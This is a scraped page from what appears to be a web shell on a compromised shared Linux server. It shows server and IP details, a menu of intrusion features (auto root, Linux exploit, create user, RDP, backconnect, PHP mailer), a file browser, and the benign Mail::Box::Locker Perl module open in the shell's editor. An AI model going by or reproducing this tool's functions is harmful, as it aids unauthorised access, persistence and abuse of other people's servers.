Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Box /
[ HOME SHELL ]
Name
Size
Permission
Action
Dir
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Locker
[ DIR ]
drwxr-xr-x
MH
[ DIR ]
drwxr-xr-x
Maildir
[ DIR ]
drwxr-xr-x
Manage
[ DIR ]
drwxr-xr-x
Mbox
[ DIR ]
drwxr-xr-x
Message
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Parser
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Collection.pm
1.81
KB
-rw-r--r--
Collection.pod
8.81
KB
-rw-r--r--
Dir.pm
3.03
KB
-rw-r--r--
Dir.pod
14.62
KB
-rw-r--r--
FastScalar.pm
4.13
KB
-rw-r--r--
FastScalar.pod
969
B
-rw-r--r--
File.pm
13.08
KB
-rw-r--r--
File.pod
21.55
KB
-rw-r--r--
Identity.pm
5.66
KB
-rw-r--r--
Identity.pod
12.12
KB
-rw-r--r--
Locker.pm
3.3
KB
-rw-r--r--
Locker.pod
8.57
KB
-rw-r--r--
MH.pm
11.23
KB
-rw-r--r--
MH.pod
19.9
KB
-rw-r--r--
Maildir.pm
10.3
KB
-rw-r--r--
Maildir.pod
17.54
KB
-rw-r--r--
Manager.pm
15.14
KB
-rw-r--r--
Manager.pod
21.18
KB
-rw-r--r--
Mbox.pm
5.72
KB
-rw-r--r--
Mbox.pod
19.23
KB
-rw-r--r--
Message.pm
2.6
KB
-rw-r--r--
Message.pod
17.92
KB
-rw-r--r--
Net.pm
2.55
KB
-rw-r--r--
Net.pod
13.55
KB
-rw-r--r--
Parser.pm
3.77
KB
-rw-r--r--
Parser.pod
10.76
KB
-rw-r--r--
Search.pm
5.06
KB
-rw-r--r--
Search.pod
9.12
KB
-rw-r--r--
Test.pm
8.36
KB
-rw-r--r--
Tie.pm
923
B
-rw-r--r--
Tie.pod
1.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Locker.pm
# Copyrights 2001-2020 by [Mark Overmeer]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of distribution Mail-Box. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Box::Locker; use vars '$VERSION'; $VERSION = '3.009'; use base 'Mail::Reporter'; use strict; use warnings; use Carp; use Scalar::Util 'weaken'; use Devel::GlobalDestruction 'in_global_destruction'; #------------------------------------------- my %lockers = ( DOTLOCK => __PACKAGE__ .'::DotLock' , FCNTLLOCK => __PACKAGE__ .'::FcntlLock' , FLOCK => __PACKAGE__ .'::Flock' , MULTI => __PACKAGE__ .'::Multi' , MUTT => __PACKAGE__ .'::Mutt' , NFS => __PACKAGE__ .'::NFS' , NONE => __PACKAGE__ , POSIX => __PACKAGE__ .'::POSIX' ); sub new(@) { my $class = shift; return $class->SUPER::new(@_) unless $class eq __PACKAGE__; # Try to figure out which locking method we really want (bootstrap) my %args = @_; my $method = !defined $args{method} ? 'DOTLOCK' : ref $args{method} eq 'ARRAY' ? 'MULTI' : uc $args{method}; my $create = $lockers{$method} || $args{$method}; local $" = ' or '; confess "No locking method $method defined: use @{[ keys %lockers ]}" unless $create; # compile the locking module (if needed) eval "require $create"; confess $@ if $@; $args{use} = $args{method} if ref $args{method} eq 'ARRAY'; $create->SUPER::new(%args); } sub init($) { my ($self, $args) = @_; $self->SUPER::init($args); $self->{MBL_expires} = $args->{expires} || 3600; # one hour $self->{MBL_timeout} = $args->{timeout} || 10; # ten secs $self->{MBL_filename} = $args->{file} || $args->{folder}->name; $self->{MBL_has_lock} = 0; $self->folder($args->{folder}); $self; } #------------------------------------------- sub timeout(;$) { my $self = shift; @_ ? $self->{MBL_timeout} = shift : $self->{MBL_timeout}; } sub expires(;$) { my $self = shift; @_ ? $self->{MBL_expires} = shift : $self->{MBL_expires}; } #------------------------------------------- sub name {shift->notImplemented} sub lockMethod($$$$) { confess "Method removed: use inheritance to implement own method." } sub folder(;$) { my $self = shift; @_ && $_[0] or return $self->{MBL_folder}; $self->{MBL_folder} = shift; weaken $self->{MBL_folder}; } sub filename(;$) { my $self = shift; $self->{MBL_filename} = shift if @_; $self->{MBL_filename}; } #------------------------------------------- sub lock($) { shift->{MBL_has_lock} = 1 } sub isLocked($) {0} sub hasLock() {shift->{MBL_has_lock}} # implementation hazard: the unlock must be self-reliant, without # help by the folder, because it may be called at global destruction # after the folder has been removed. sub unlock() { shift->{MBL_has_lock} = 0 } #------------------------------------------- sub DESTROY() { my $self = shift; return $self if in_global_destruction; $self->unlock if $self->hasLock; $self->SUPER::DESTROY; $self; } 1;
Close